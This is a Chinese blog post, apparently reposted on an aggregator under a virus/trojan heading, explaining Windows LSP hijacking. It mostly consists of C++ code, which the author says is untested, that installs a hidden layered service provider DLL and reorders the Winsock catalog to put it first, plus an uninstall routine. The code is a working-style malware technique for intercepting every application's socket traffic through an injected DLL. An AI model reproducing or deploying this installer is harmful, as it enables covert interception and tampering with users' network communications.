[病毒木马] 什么是LSP劫持
生活随笔
收集整理的這篇文章主要介紹了
[病毒木马] 什么是LSP劫持
小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.
原理
應(yīng)用程序通過 socket 進行網(wǎng)絡(luò)通信時會調(diào)用 ws2_32.dll 的導(dǎo)出函數(shù),比如 send/recv 等,而這些函數(shù)時通過更底層的 LSP 提供的 SPI(服務(wù)提供者接口)實現(xiàn)的。劃重點!!! :如果有多個符合條件的 SPI,系統(tǒng)將會調(diào)用在 winsock 目錄最前面的那個 。所以注冊一個 SPI 并插入到 winsock 目錄的最前面就可以劫持 LSP 了!
另外劫持 LSP 需要將代碼卸載 DLL 里(畢竟人家也叫劫持嘛 ~)
代碼(來自網(wǎng)絡(luò))
freesec.dll
test.cpp:
#include<Windows.h> #include<locale.h> #include<stdio.h> #include<malloc.h> #pragma comment(lib,"ws2_32.lib") GUID layerGuid; #define layerName L"freesec" DWORD findGuid() {//枚舉winsock目錄中的協(xié)議LPWSAPROTOCOL_INFOW info;//指向winsock目錄中協(xié)議DWORD size = 0; //大小DWORD num; //數(shù)量WSCEnumProtocols(0, 0, &size, 0);info = (LPWSAPROTOCOL_INFOW)malloc(size);num = WSCEnumProtocols(0, info, &size, 0);if (num == SOCKET_ERROR){free(info);return 0;}int i;for ( i= 0; i < num; i++){if (lstrcmpW(info[i].szProtocol,layerName)==0){memcpy(&layerGuid, &info[i].ProviderId, sizeof(GUID));break;}}free(info);if (i==num)//沒找到{return 0;}return 1; } DWORD lspInject() {//枚舉winsock目錄中的協(xié)議LPWSAPROTOCOL_INFOW info;//指向winsock目錄中協(xié)議DWORD size = 0; //大小DWORD num; //數(shù)量WSCEnumProtocols(0, 0, &size, 0);info = (LPWSAPROTOCOL_INFOW)malloc(size);num = WSCEnumProtocols(0, info, &size, 0);DWORD trueId; //存儲被安裝的提供者的目錄idif (num == SOCKET_ERROR){free(info);return 0;}WCHAR supplier[] = layerName;WCHAR dllpath[] = L"E:\\0day\\shellcode\\Debug\\freesec.dll";//指定你的dll文件DWORD myId;int proto = IPPROTO_TCP; //目標(biāo)協(xié)議WSAPROTOCOL_INFOW save = { 0 }; //用于存儲指定協(xié)議的正常的提供者,最后用來作為分層協(xié)議和協(xié)議鏈的模板for (int i = 0; i < num; i++){//找符合條件的提供者,但不能是分層協(xié)議if (info[i].iAddressFamily == AF_INET&&info[i].iProtocol == proto&&info[i].ProtocolChain.ChainLen!=0){memcpy(&save, &info[i], sizeof(WSAPROTOCOL_INFOW)); //將原來的基礎(chǔ)協(xié)議信息保存 save.dwServiceFlags1 &= ~XP1_IFS_HANDLES; //去掉XP1_IFS_HANDLES標(biāo)志trueId = info[i].dwCatalogEntryId;break;}}//安裝分層協(xié)議WSAPROTOCOL_INFOW Lpi = { 0 }; //新的分層協(xié)議memcpy(&Lpi, &save, sizeof(WSAPROTOCOL_INFOW)); //以這個保存的系統(tǒng)已有協(xié)議作為模板lstrcpyW(Lpi.szProtocol, supplier); //協(xié)議名,其實就是一個代號而已,可以隨意起名Lpi.ProtocolChain.ChainLen = LAYERED_PROTOCOL; //設(shè)置為分層協(xié)議Lpi.dwProviderFlags |= PFL_HIDDEN; //?GUID pguid; //分層協(xié)議的guidUuidCreate(&pguid);memcpy(&layerGuid,&pguid,sizeof(GUID));if (WSCInstallProvider(&pguid, dllpath, &Lpi, 1, 0) == SOCKET_ERROR) //安裝該分層協(xié)議{free(info);return 0;}//重新枚舉協(xié)議以獲取分層協(xié)議的目錄idfree(info); //因為添加了一個分層協(xié)議,所以需要重新分配內(nèi)存DWORD layerId; //保存分層協(xié)議目錄idWSCEnumProtocols(0, 0, &size, 0);info = (LPWSAPROTOCOL_INFOW)malloc(size);num = WSCEnumProtocols(0, info, &size, 0);if (num == SOCKET_ERROR){free(info);return 0;}for (int i = 0; i < num; i++) //遍歷協(xié)議,直到找到剛才新增的分層協(xié)議{if (memcmp(&info[i].ProviderId, &pguid, sizeof(GUID)) == 0){layerId = info[i].dwCatalogEntryId; //獲取分層協(xié)議目錄id}}//安裝協(xié)議鏈WCHAR chainName[WSAPROTOCOL_LEN + 1]; //其實就是一個名字代號,和分層協(xié)議的名字一樣wsprintf(chainName, L"%ls over %ls", supplier, save.szProtocol);lstrcpyW(save.szProtocol, chainName); //改名字1if (save.ProtocolChain.ChainLen == 1) //如果目標(biāo)協(xié)議的正常提供者是基礎(chǔ)協(xié)議則將其目錄id放在協(xié)議鏈的第2個位置{save.ProtocolChain.ChainEntries[1] = trueId; //將id寫入到該協(xié)議鏈的ChainEntries數(shù)組中,這個數(shù)組只有當(dāng)它是協(xié)議鏈時才有意義}else //否則就是協(xié)議鏈提供者{for (int i = save.ProtocolChain.ChainLen; i > 0; i--)//如果是協(xié)議鏈則將該協(xié)議鏈中其他協(xié)議往后移,//以便將自己的分層協(xié)議插入到鏈?zhǔn)?但是這個數(shù)組最大存7個,所以如果原來就占滿了,理論上會擠掉最后一個{save.ProtocolChain.ChainEntries[i] = save.ProtocolChain.ChainEntries[i - 1];}}save.ProtocolChain.ChainEntries[0] = layerId;save.ProtocolChain.ChainLen++;//獲取guid,安裝協(xié)議鏈GUID providerChainGuid;UuidCreate(&providerChainGuid);if (WSCInstallProvider(&providerChainGuid, dllpath, &save, 1, 0) == SOCKET_ERROR){free(info);return 0;}//重新枚舉協(xié)議free(info);WSCEnumProtocols(0, 0, &size, 0);info = (LPWSAPROTOCOL_INFOW)malloc(size);num = WSCEnumProtocols(0, info, &size, 0);if (num == SOCKET_ERROR){free(info);return 0;}//遍歷獲取我們的協(xié)議鏈的目錄idDWORD* chainId = (DWORD*)malloc(num * sizeof(DWORD)); //這個是協(xié)議鏈的目錄id數(shù)組,把我們的協(xié)議鏈id//放在最前面,系統(tǒng)原來的按順序放后面DWORD cindex = 0;for (int i = 0; i < num; i++){if ((info[i].ProtocolChain.ChainLen > 1) && (info[i].ProtocolChain.ChainEntries[0] == layerId)){chainId[cindex] = info[i].dwCatalogEntryId;cindex++;}}for (int i = 0; i < num; i++){if ((info[i].ProtocolChain.ChainLen <= 1) || (info[i].ProtocolChain.ChainEntries[0] != layerId)){chainId[cindex] = info[i].dwCatalogEntryId;cindex++;}}if (WSCWriteProviderOrder(chainId, cindex) != 0){free(info);free(chainId);return 0;}free(info);free(chainId);return 1;}DWORD uninstall() {if(findGuid()==0){return 0;}//枚舉winsock目錄中的協(xié)議LPWSAPROTOCOL_INFOW info;//指向winsock目錄中協(xié)議DWORD size = 0; //大小DWORD num; //數(shù)量DWORD Id; DWORD result;int cc; //作為錯誤碼,下面2個函數(shù)的錯誤碼地址必須提供,否則會調(diào)用失敗WSCEnumProtocols(0, 0, &size, 0);info = (LPWSAPROTOCOL_INFOW)malloc(size);num = WSCEnumProtocols(0, info, &size, 0);if (num == SOCKET_ERROR){free(info);return 0;}int i = 0;for (i=0; i < num; i++){if (memcmp(&layerGuid,&info[i].ProviderId,sizeof(GUID))==0){Id = info[i].dwCatalogEntryId;}}if (i<=num){for (i = 0; i < num; i++){if ((info[i].ProtocolChain.ChainLen>1)&&(info[i].ProtocolChain.ChainEntries[0]==Id)){if((result=WSCDeinstallProvider(&info[i].ProviderId, &cc))==SOCKET_ERROR){free(info);return 0;}break;}}free(info); if((result=WSCDeinstallProvider(&layerGuid, &cc))==SOCKET_ERROR){return 0;}}else{free(info);return 0; }return 1; } int main(int argc, char** argv) {setlocale(LC_ALL, "chs");int result;if (argc!=2){printf("usage:%s install or uninstall\n", argv[0]);return 0;}if (strcmp(argv[1],"install")==0){if (lspInject()){printf("install success\n");}else{printf("install error code is %d\n", GetLastError());}}else if(strcmp(argv[1], "uninstall") == 0){if (uninstall()){printf("uninstall success\n");}else{printf("uninstall error code is %d\n", GetLastError());}}return 1;}以上代碼未經(jīng)測試,時間有限用到的時候再改吧。
總結(jié)
以上是生活随笔為你收集整理的[病毒木马] 什么是LSP劫持的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 打开约束指令,让编码更规范
- 下一篇: hadoop配置流程